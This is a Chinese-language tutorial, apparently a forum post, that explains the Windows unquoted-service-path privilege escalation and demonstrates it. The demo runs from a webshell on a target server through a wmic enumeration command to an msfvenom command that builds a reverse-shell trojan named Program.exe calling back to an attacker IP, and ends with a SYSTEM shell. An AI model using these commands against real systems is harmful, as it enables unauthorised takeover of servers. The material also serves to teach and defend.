不帶引號服務路徑提權原理及演示

一、介紹

1.漏洞簡介:

當建立可執行路徑包含空格且未包含在引號內的服務時,會導致稱為未引用服務路徑的漏洞,該漏洞允許使用者獲得SYSTEM許可權(當易受攻擊的服務以 SYSTEM 許可權執行時)。

2.漏洞原理:

在 Windows 中,如果服務沒有用引號括起來並且有空格,它會將空格作為中斷處理,並將服務路徑的其餘部分作為引數傳遞。

二、演示

環境準備:

靶機:騰訊雲伺服器 裝有phpstudy環境的Windows server 2012 IP地址:49。xxx。xxx。xxx

攻擊機:阿里雲伺服器 裝有msf的ubuntu系統 IP地址:101。xxx。xxx。xxx

1.上傳webshell後,開啟網站

不帶引號服務路徑提權原理及演示

2.輸入命令檢視呼叫執行程式時不帶引號的程式,從中挑選出帶空格的wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """選擇該程式檔案

不帶引號服務路徑提權原理及演示

2.輸入命令檢視呼叫執行程式時不帶引號的程式,從中挑選出帶空格的

msfvenom -p windows/meterpreter/reverse_tcp LHOST=攻擊機IP地址 LPORT=4444 -f exe Program。exe

3.msf生成名為Program.exe的木馬,並開啟監聽

不帶引號服務路徑提權原理及演示

如果路徑包含空格並且沒有用引號引起來,Windows API 必須假定在哪裡可以找到引用的應用程式。服務會按照以下順序依次執行

C:\Program。exe

C:\Program Files\qcloud\tat_agent\tat_agent。exe

所以將木馬命名為Program。exe,並將其放在C盤根目錄,會使其優先執行

為什麼要命名為Program.exe?

不帶引號服務路徑提權原理及演示

4.利用webshell將該木馬上傳至靶機c盤根目錄

我們透過webshell是無法啟動服務的,實戰中可以使管理員重啟伺服器,服務就能被開啟了。

這裡我們模擬管理員啟動該服務

5.在靶機啟動該服務,攻擊機收到反彈shell

不帶引號服務路徑提權原理及演示

不帶引號服務路徑提權原理及演示

6.檢視許可權,成功提權

歡迎加入我愛程式設計學習論壇。

網址www。woaibiancheng。cn